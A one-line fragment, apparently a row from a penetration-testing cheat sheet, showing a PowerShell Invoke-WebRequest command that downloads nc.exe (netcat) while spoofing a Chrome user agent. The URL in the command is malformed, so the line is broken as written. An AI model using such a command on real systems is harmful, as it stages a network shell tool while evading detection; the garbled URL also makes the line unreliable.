[[Invoke-WebRequest http:https://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile “nc.exe”]] | Invoke-WebRequest using a Chrome User Agent |